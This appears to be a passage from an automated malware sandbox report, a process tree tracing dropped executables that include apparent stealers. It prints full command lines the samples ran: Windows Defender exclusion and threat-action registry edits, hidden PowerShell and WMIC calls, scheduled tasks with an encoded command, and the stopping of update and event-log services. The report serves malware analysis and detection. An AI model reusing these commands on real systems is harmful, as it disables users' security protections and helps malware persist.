        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:272
        
        C:\Program Files (x86)\1717795646_0\360TS_Setup.exe
        
        "C:\Program Files (x86)\1717795646_0\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo= /TSinstall
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Writes to the Master Boot Record (MBR)
        Drops file in Program Files directory
        
        PID:2580
    - - C:\Users\Admin\Pictures\HqA55f547cg1gL6v7PJmBsf8.exe
        
        "C:\Users\Admin\Pictures\HqA55f547cg1gL6v7PJmBsf8.exe"
        5⤵
        Modifies firewall policy service
        Executes dropped EXE
        Drops file in System32 directory
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        
        PID:2700
    - - C:\Users\Admin\Pictures\iw2rdwuO01Y7ysK806SnpS14.exe
        
        "C:\Users\Admin\Pictures\iw2rdwuO01Y7ysK806SnpS14.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:800
      - C:\Users\Admin\AppData\Local\Temp\7zS500.tmp\Install.exe
        
        .\Install.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:672
        
        C:\Users\Admin\AppData\Local\Temp\7zS9D0.tmp\Install.exe
        
        .\Install.exe /yqjCHdidlQ "385118" /S
        7⤵
        Checks BIOS information in registry
        Executes dropped EXE
        Loads dropped DLL
        Enumerates system info in registry
        Suspicious use of WriteProcessMemory
        
        PID:2132
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        8⤵
        
        PID:2196
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
        9⤵
        
        PID:2092
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        10⤵
        
        PID:1744
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        11⤵
        
        PID:1548
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
        9⤵
        
        PID:1008
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        10⤵
        
        PID:1308
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        11⤵
        
        PID:1612
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
        9⤵
        
        PID:2292
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        10⤵
        
        PID:2312
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        11⤵
        
        PID:684
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
        9⤵
        
        PID:1740
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        10⤵
        
        PID:928
        
        \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        11⤵
        
        PID:1576
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
        9⤵
        
        PID:1068
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        10⤵
        
        PID:2104
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        11⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:320
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        12⤵
        
        PID:1912
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        8⤵
        
        PID:2860
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        9⤵
        
        PID:2888
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        10⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2880
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
        11⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2876
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bjPRdWxZxSSObMFEvg" /SC once /ST 21:27:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\xehfnPLREkljOutgp\YtzlZLSVfDGwulo\EByWAxd.exe\" PX /KtEdidAmoA 385118 /S" /V1 /F
        8⤵
        Drops file in Windows directory
        Creates scheduled task(s)
        
        PID:2016
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bjPRdWxZxSSObMFEvg"
        8⤵
        
        PID:2044
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C schtasks /run /I /tn bjPRdWxZxSSObMFEvg
        9⤵
        
        PID:2008
        
        \??\c:\windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn bjPRdWxZxSSObMFEvg
        10⤵
        
        PID:2960
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2132 -s 432
        8⤵
        Loads dropped DLL
        Program crash
        
        PID:2776
- - C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe
    "C:\Users\Admin\AppData\Local\Temp\1000004001\gold.exe"
    3⤵
    - Executes dropped EXE
    PID:1248
- - C:\Users\Admin\AppData\Local\Temp\1000005001\judit.exe
    "C:\Users\Admin\AppData\Local\Temp\1000005001\judit.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:940
  - - C:\Users\Admin\AppData\Local\Temp\onefile_940_133622691884220000\stub.exe
      "C:\Users\Admin\AppData\Local\Temp\1000005001\judit.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1580
- - C:\Users\Admin\AppData\Local\Temp\1000007001\redline123123.exe
    "C:\Users\Admin\AppData\Local\Temp\1000007001\redline123123.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1932
- - C:\Users\Admin\AppData\Local\Temp\1000008001\upd.exe
    "C:\Users\Admin\AppData\Local\Temp\1000008001\upd.exe"
    3⤵
    - Executes dropped EXE
    PID:1396
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1396 -s 52
      4⤵
      Loads dropped DLL
      Program crash
      PID:1288
- - C:\Users\Admin\AppData\Local\Temp\1000009001\lumma123.exe
    "C:\Users\Admin\AppData\Local\Temp\1000009001\lumma123.exe"
    3⤵
    - Executes dropped EXE
    PID:1064
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1064 -s 72
      4⤵
      Loads dropped DLL
      Program crash
      PID:1304
- - C:\Users\Admin\AppData\Local\Temp\1000021001\NewR.exe
    "C:\Users\Admin\AppData\Local\Temp\1000021001\NewR.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1988
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewR.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000021001\NewR.exe" /F
      4⤵
      Creates scheduled task(s)
      PID:532
  - - C:\Users\Admin\AppData\Local\Temp\1000294001\FirstZ.exe
      "C:\Users\Admin\AppData\Local\Temp\1000294001\FirstZ.exe"
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      Suspicious behavior: EnumeratesProcesses
      PID:1976
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1960
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        5⤵
        
        PID:768
      - C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        6⤵
        Drops file in Windows directory
        
        PID:1680
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:472
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:1112
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:1104
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop bits
        5⤵
        Launches sc.exe
        
        PID:2264
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop dosvc
        5⤵
        Launches sc.exe
        
        PID:2972
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:852
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1860
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2224
    - - C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1504
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "WSNKISKT"
        5⤵
        Launches sc.exe
        
        PID:1072
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"
        5⤵
        Launches sc.exe
        
        PID:2464
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        5⤵
        Launches sc.exe
        
        PID:2016
    - - C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "WSNKISKT"
        5⤵
        Launches sc.exe
        
        PID:2220
- - C:\Users\Admin\AppData\Local\Temp\1000025001\setup222.exe
    "C:\Users\Admin\AppData\Local\Temp\1000025001\setup222.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1640
  - - C:\Users\Admin\AppData\Local\Temp\setup222-6d945e47cea9ab13\setup222.exe
      "C:\Users\Admin\AppData\Local\Temp\setup222-6d945e47cea9ab13\setup222.exe"
      4⤵
      Executes dropped EXE
      PID:2164
- - C:\Users\Admin\AppData\Local\Temp\1000026001\whiteheroin.exe
    "C:\Users\Admin\AppData\Local\Temp\1000026001\whiteheroin.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1472
- - C:\Users\Admin\AppData\Local\Temp\1000027001\taskmanager.exe
    "C:\Users\Admin\AppData\Local\Temp\1000027001\taskmanager.exe"
    3⤵
    - Executes dropped EXE
    PID:768

C:\Windows\system32\taskeng.exe
taskeng.exe {78740F3A-EA31-4D76-AD5F-C0FE48BD3D04} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:944
- C:\Users\Admin\AppData\Local\Temp\xehfnPLREkljOutgp\YtzlZLSVfDGwulo\EByWAxd.exe
  C:\Users\Admin\AppData\Local\Temp\xehfnPLREkljOutgp\YtzlZLSVfDGwulo\EByWAxd.exe PX /KtEdidAmoA 385118 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:2332
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:2860
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
      4⤵
      PID:2356
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:1768
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        6⤵
        
        PID:1604
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
      4⤵
      PID:1500
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:1112
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        6⤵
        
        PID:2708
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
      4⤵
      PID:2148
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:2664
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        6⤵
        
        PID:1336
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
      4⤵
      PID:792
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:1588
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        6⤵
        
        PID:1200
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
      4⤵
      PID:2300
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        
        PID:804
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1960
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        7⤵
        
        PID:1292
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gwLPlBUuV" /SC once /ST 01:01:34 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1784
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gwLPlBUuV"
    3⤵
    PID:3052
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gwLPlBUuV"
    3⤵
    PID:1960
- - C:\Windows\SysWOW64\forfiles.exe
    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
    3⤵
    PID:2744
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
      4⤵
      PID:2232
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1704
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:524
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MlEwZvbgpCGVQFZq" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:972
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MlEwZvbgpCGVQFZq" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1352
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MlEwZvbgpCGVQFZq" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2660
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MlEwZvbgpCGVQFZq" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2684
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MlEwZvbgpCGVQFZq" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:2608
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MlEwZvbgpCGVQFZq" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1616
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MlEwZvbgpCGVQFZq" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2196
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MlEwZvbgpCGVQFZq" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2928
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\MlEwZvbgpCGVQFZq\nXbHYvnB\FiBAnaFkgqypDUYp.wsf"
    3⤵
    PID:2724
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\MlEwZvbgpCGVQFZq\nXbHYvnB\FiBAnaFkgqypDUYp.wsf"
    3⤵
    - Modifies data under HKEY_USERS
    PID:2404
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZzJFgnUaheUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1468
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZzJFgnUaheUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2952
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\efSuucJNImPU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2748
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\efSuucJNImPU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2836
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gWMsjtYByovYC" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1764
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gWMsjtYByovYC" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2516
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qfQXRdAKnlsTdhGWuTR" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1768
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qfQXRdAKnlsTdhGWuTR" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2688
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\voItHROCU" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1500
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\voItHROCU" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1588
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\WMmUhsrLoeNTYuVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1760
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\WMmUhsrLoeNTYuVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1252
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2440
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2208
